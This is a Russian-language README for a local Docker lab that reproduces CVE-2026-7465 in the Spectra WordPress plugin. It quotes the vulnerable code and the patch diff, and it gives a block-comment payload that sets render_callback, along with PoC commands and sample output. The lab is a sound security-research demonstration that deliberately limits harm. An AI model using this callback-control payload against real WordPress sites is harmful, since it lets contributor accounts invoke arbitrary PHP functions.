
Локальная Docker-лаборатория для анализа и воспроизведения CVE-2026-7465 в плагине WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
В этой лаборатории сравниваются:
vuln: Spectra 2.19.25patched: Spectra 2.19.26Доказательство умышленно наносит минимальный вред. Оно не выполняет shell-команды, не загружает файлы, не создаёт пользователей и не изменяет контейнер напрямую. PoC создаёт временный черновик записи WordPress, проверяет поведение отрисованного блока, а затем удаляет черновик.
CVE-2026-7465 — это уязвимость в Spectra Gutenberg Blocks, при которой управляемые пользователем атрибуты блоков Gutenberg могли передаваться в аргументы регистрации блоков WordPress.
В уязвимой версии Spectra динамически регистрирует разобранные блоки uagb/*, используя атрибуты блоков из содержимого записи:
$registry->register( $block['blockName'], $block['attrs'] );
Поскольку пользователь с ролью Contributor может создавать содержимое записей, содержащее комментарии блоков Gutenberg, аутентифицированный пользователь уровня Contributor может влиять на такие аргументы регистрации, как render_callback.
Версия 2.19.26 устраняет проблему, регистрируя блок с пустым массивом аргументов:
$registry->register( $block['blockName'], array() );
Это предотвращает превращение атрибутов блока, управляемых через содержимое записи, в параметры регистрации PHP-блоков.
Продукт:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
Версии, используемые в этой лаборатории:
vulnerable: 2.19.25
patched: 2.19.26
В журнале изменений WordPress.org для 2.19.26 указано, что обновление устраняет ошибку безопасности, и выражается благодарность Wordfence за ответственное раскрытие.
Уязвимая логика расположена в:
classes/class-uagb-init-blocks.php
Уязвимый код проверяет, содержит ли имя разобранного блока пространство имён uagb/. Если блок ещё не зарегистрирован, он регистрируется динамически.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
Проблема заключается во втором аргументе:
$block['attrs']
В Gutenberg атрибуты блоков могут храниться внутри содержимого записи, например:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Пользователь с ролью Contributor может создавать содержимое черновика записи. Поэтому атакующий может влиять на $block['attrs'].
Когда эти атрибуты передаются в WP_Block_Type_Registry::register(), они становятся аргументами регистрации блока. Одним из чувствительных аргументов регистрации является:
render_callback
Это создаёт примитив управления обратным вызовом.
В 2.19.26 Spectra по-прежнему регистрирует имя разобранного блока uagb/*, но больше не передаёт управляемые через содержимое записи атрибуты в качестве аргументов регистрации:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
Ключевое изменение:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
Это исключает управляемые атакующим атрибуты из пути регистрации блока.
maybe_serializePoC не использует опасные PHP-колбэки, такие как system, exec, shell_exec или passthru.
Вместо этого он использует:
maybe_serialize
Содержимое доказательного блока:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Ожидаемое поведение:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
Это доказывает уязвимое поведение без выполнения команд и записи файлов.
Сервисы:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
Локальные порты:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
Создаваемый при инициализации пользователь WordPress:
username: contributor
password: contributorpass123!
role: contributor
PoC работает только через HTTP. Он взаимодействует с WordPress через вход в систему и REST API-запросы.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Начните с чистого окружения:
docker compose down -v --remove-orphans
docker compose up -d --build
Проверьте контейнеры:
docker compose ps
Проверьте логи seed-сервисов:
docker compose logs seed_vuln seed_patched
Ожидаемый результат seed-сервисов:
[+] seed vuln: done
[+] seed patched: done
Проверка уязвимой цели:
python3 poc/poc.py -t http://127.0.0.1:8181
Ожидаемый вердикт для уязвимой версии:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Проверка исправленной цели:
python3 poc/poc.py -t http://127.0.0.1:8182
Ожидаемый вердикт для исправленной версии:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
Ключевым является сравнение следующих значений:
raw_contains_marker
rendered_contains_marker
И уязвимая, и исправленная цели должны показать:
raw_contains_marker: True
Это подтверждает, что одинаковое содержимое блока было успешно сохранено во временный черновик записи.
Разница — в отрисованном результате:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
Это демонстрирует, что уязвимая версия приняла управляемый через содержимое записи render_callback, а исправленная — нет.
Остановите и удалите контейнеры, сети и тома:
docker compose down -v --remove-orphans
Удалите Python-кэш, если он есть:
rm -rf poc/__pycache__
Этот репозиторий предназначен только для локальных исследований безопасности и демонстрации в портфолио.
PoC:
Не запускайте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Страница плагина на WordPress.org: Spectra Gutenberg Blocks — конструктор сайтов для редактора блоков
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
Журнал изменений WordPress.org: обновление безопасности 2.19.26 от понедельника, 4 мая 2026 года, раскрытие приписано Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
SVN / Trac плагинов WordPress
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/